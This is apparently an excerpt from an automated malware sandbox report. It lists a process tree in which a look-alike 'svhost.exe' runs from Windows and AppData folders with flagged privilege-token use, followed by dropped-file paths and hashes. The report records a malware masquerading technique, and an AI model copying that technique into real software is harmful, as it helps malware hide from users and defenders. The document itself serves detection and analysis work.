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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Drops file in System32 directory
PID:3124
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵PID:1536
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C:\Windows\svhost.exeC:\Windows\svhost.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1364
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C:\Windows\svhost.exe"C:\Windows\svhost.exe"1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:920
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵PID:3128
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C:\Users\Admin\AppData\Roaming\svhost.exeC:\Users\Admin\AppData\Roaming\svhost.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1140
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵PID:1572
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
- MD5 acbc65123954839a819fa2495d239bf7
- SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
- SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
- TLSH T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 84cae56438b29e419b6b50dd4c5b5a3ace725b548b3425c6b24f8558ac3a4656
- MD5 d275f2eab725a0f61aa29c369fae3e43
- SHA1 0728ba6ec476e94f12d1ae3002f0a7d39dade870
- SHA512 26125064e8ecfaff6cdd6e7517955bed0d5de7100746eba48f9af82c130b92dd25ceb4a1c996ce3e39666aa3ddb1ee080eadfbe80cbc67a49b4ba7e98d15fe4c
- TLSH T1B6216837B3DC8610C89A413A10CDAD1036B6CBDB80DECE5B6B85E659A43F699CE61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\2f44f137-cce8-4c99-bfa5-567027448196.exe
- Size 739KB
- SHA256 1f8e2bf3e9f155c1031512faaf5cb9ed520cb8c147c734cf2b3f40e7ad2aef22
- MD5 660385dfc222656835d2ad86f5372c35
- SHA1 5933649087787a3aeb516e5c9994aac02c12db61
- SHA512 84d34ab15d21ae6d8bfde93467df9f49b3319b9571abd92f744eb1040ddf64660edc05f8889ff9a8e048874d2fa4b2a04c2dcbd00eb6bdea6f24277229861065
- SSDEEP 6144:bXsQzijj1U1NMvQv/WkqSJHSX2TTaHHHW4Y1mcfMM89CBAP3FNQ9Qu:bXsQzijI2GtaHHHEf9DkkQu
- TLSH T1E8F46B403FA4D45BEA6A06B4A47456305B64AD171C1ED69BF8C43AEDDF33381EC2226F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\3f4ccj1q.fwt.exe
- Size 161KB
- SHA256 879cc20b41635709bb304e315aaa5ca4708b480a1bfc2f4935fcf2215188efb0
- MD5 94f1ab3a068f83b32639579ec9c5d025
- SHA1 38f3d5bc5de46feb8de093d11329766b8e2054ae
- SHA512 44d5236a804d63302b21ca25ebc148a64605508d03c990a244c44ceb8630849da0510b7b2d0bee72e01ca6681e2d86d7e6aee8847674a26f0028d149b9abee0c
- SSDEEP 3072:hLD8KbgVtn8Mo8G1gVziHzZbIK1YKB/pCAcNqXhwBV3yxSQig8xN:h/5bTgVziHzZnSKrCbYM
- TLSH T10BF33C07BAA500F7E976823585739E17B7B2F42503209BBF0B654A6E0FA37906D3DB50
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ionefknh.esr.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH